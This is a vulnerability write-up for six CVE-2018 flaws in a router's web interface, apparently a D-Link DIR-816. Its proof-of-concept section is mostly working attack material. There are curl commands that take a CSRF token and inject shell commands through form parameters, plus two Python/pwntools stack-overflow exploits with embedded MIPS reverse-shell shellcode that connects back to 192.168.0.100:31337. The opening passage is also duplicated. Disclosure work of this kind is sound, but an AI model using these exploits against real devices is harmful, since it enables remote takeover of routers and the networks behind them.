### CVE-2018-17066: Command injection **Vul detail** In the handler of route /goform/form2systime.cgi, the value of parameter datetime is used in the construction of command date -s "%s", which is later fed to system:  So it could lead to command injection with crafted request. **POC** There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value: ``` TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` ``` Then we could send the crafted parameter along with the token to the route: ``` curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=$TOKENID -d 'datetime=`sleep 5`-:' ``` ### CVE-2018-17068: Command injection **Vul detail** In the handler of route /goform/Diagnosis, the value of parameter sendNum is used in the construction of command ping -c %s ..., which is later fed to...
### CVE-2018-17066: Command injection **Vul detail** In the handler of route /goform/form2systime.cgi, the value of parameter datetime is used in the construction of command date -s "%s", which is later fed to system:  So it could lead to command injection with crafted request. **POC** There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value: ``` TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` ``` Then we could send the crafted parameter along with the token to the route: ``` curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=$TOKENID -d 'datetime=`sleep 5`-:' ``` ### CVE-2018-17068: Command injection **Vul detail** In the handler of route /goform/Diagnosis, the value of parameter sendNum is used in the construction of command ping -c %s ..., which is later fed to system:  So it could lead to command injection with crafted request. **POC** There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value: ``` TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` ``` Then we could send the crafted parameter along with the token to the route: ``` curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=$TOKENID -d 'pingAddr=192.168.0.1' -d 'sendNum=3;touch /tmp/test;' ``` ### CVE-2018-17064: Command injection **Vul detail** In the handler of route /goform/sylogapply, the value of parameter syslogIp is read and set in nvram:  But later in the handler of route /goform/clearlog, nvram is read for syslogIp and its value is used in the construction of command syslogd -C4 -R %s ...:  So it could lead to command injection with crafted request. **POC** There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value: ``` TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` ``` Then we send the crafted parameter along with the token to the route /goform/sylogapply: ``` curl -i -X POST http://192.168.0.1/goform/sylogapply -d tokenid=$TOKENID -d remotesyslog=rl -d 'syslogIp=1.1.1.1;touch /tmp/test;' ``` Finally we visit /goform/clearlog to trigger the command execution: ``` curl -i -X POST http://192.168.0.1/goform/clearlog -d tokenid=$TOKENID ``` ### CVE-2018-17063: Command injection **Vul detail** In the handler of route /goform/NTPSyncWithHost, all parameters are used in the construction of command date -s %s:  So it could lead to command injection with crafted request. **POC** There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value: ``` TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` ``` Then we send the crafted parameter along with the token to the route: ``` curl -i -X POST http://192.168.0.1/goform/NTPSyncWithHost -d '`touch /tmp/test`=1' -d tokenid=$TOKENID ``` ### CVE-2018-17067: Stack overflow **Vul detail** In the handler of route /goform/formLogin, the value of parameter password is base64 decoded and the result is saved on the stack:  However, there's no check on length of the password, and a very long input could lead to stack overflow and overwrite the return address:  Moreover, the ASLR is partially open and the heap is at fixed address:  Also the heap has permission rwx:  Therefore, we could build a very large HTTP header which contains the shellcode, and set the return address to that shellcode. **POC** ``` #!/usr/bin/env python # POC code reference: https://0x3f97.github.io/exploit/2018/05/13/D-Link-DIR-816-A2-CN-router-stack-based-buffer-overflow/ from pwn import * import requests # First, we need the CSRF token r=requests.get('http://192.168.0.1/dir_login.asp') for l in r.content.split('\n'): if 'tokenid' in l: q2 = l.rfind('"') q1 = l[:q2].rfind('"') tokenid = l[q1+1:q2] print 'tokenid is %s' % tokenid # The shellcode would be at 0x48fc18 newRet = '\x18\xfc\x48\x00' # Reverse shell to 192.168.0.100:31337 # Credit: http://shell-storm.org/shellcode/files/shellcode-860.php shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" shellcode += "\xf8\xff\xa5\xaf\x00\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01" # A long password for overflow pl1 = 'a'*160 + newRet*2 rn = "\r\n" padding = "\x00\x00\x00\x00" pl2 = ('tokenid=%s&username=abcd&password=' % tokenid) + b64e(pl1) payload = "POST /goform/formLogin " + "HTTP/1.1" + rn payload += "Host: 192.168.0.1"+rn payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn payload += "Accept-Language: en-US,en;q=0.5" + rn payload += "Accept-Encoding: gzip, deflate" + rn payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x100 + shellcode + padding*0x4000 + rn payload += "Connection: close" + rn payload += "Upgrade-Insecure-Requests: 1" + rn payload += ("Content-Length: %d" % len(pl2)) +rn payload += 'Content-Type: application/x-www-form-urlencoded'+rn payload += rn payload += pl2 p = remote('192.168.0.1', 80) p.send(payload) print p.recv() ``` ### CVE-2018-17065: Stack overflow **Vul detail** In the handler of route /goform/DDNS, the value of parameter password is base64 decoded and the result is saved on the stack:  However, there's no check on length of the password, and a very long input could lead to stack overflow and overwrite the return address:  Just as the previous one, the heap is at fixed address with permission rwx. So we could build a very large HTTP header which contains the shellcode, and set the return address to that shellcode. **POC** ``` #!/usr/bin/env python # POC code reference: https://0x3f97.github.io/exploit/2018/05/13/D-Link-DIR-816-A2-CN-router-stack-based-buffer-overflow/ from pwn import * import requests # First, we need the CSRF token r=requests.get('http://192.168.0.1/dir_login.asp') for l in r.content.split('\n'): if 'tokenid' in l: q2 = l.rfind('"') q1 = l[:q2].rfind('"') tokenid = l[q1+1:q2] print 'tokenid is %s' % tokenid # The shellcode would be at 0x48fc18 newRet = '\x18\xfc\x48\x00' # Reverse shell to 192.168.0.100:31337 # Credit: http://shell-storm.org/shellcode/files/shellcode-860.php shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" shellcode += "\xf8\xff\xa5\xaf\x00\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01" # A long password for overflow pl1 = newRet*45 rn = "\r\n" padding = "\x00\x00\x00\x00" pl2 = ('tokenid=%s&enable=1&hostname=ddns&username=abcd&password=' % tokenid) + b64e(pl1) payload = "POST /goform/DDNS " + "HTTP/1.1" + rn payload += "Host: 192.168.0.1"+rn payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn payload += "Accept-Language: en-US,en;q=0.5" + rn payload += "Accept-Encoding: gzip, deflate" + rn payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x100 + shellcode + padding*0x4000 + rn payload += "Connection: close" + rn payload += "Upgrade-Insecure-Requests: 1" + rn payload += ("Content-Length: %d" % len(pl2)) +rn payload += 'Content-Type: application/x-www-form-urlencoded'+rn payload += rn payload += pl2 p = remote('192.168.0.1', 80) p.send(payload) print p.recv() ```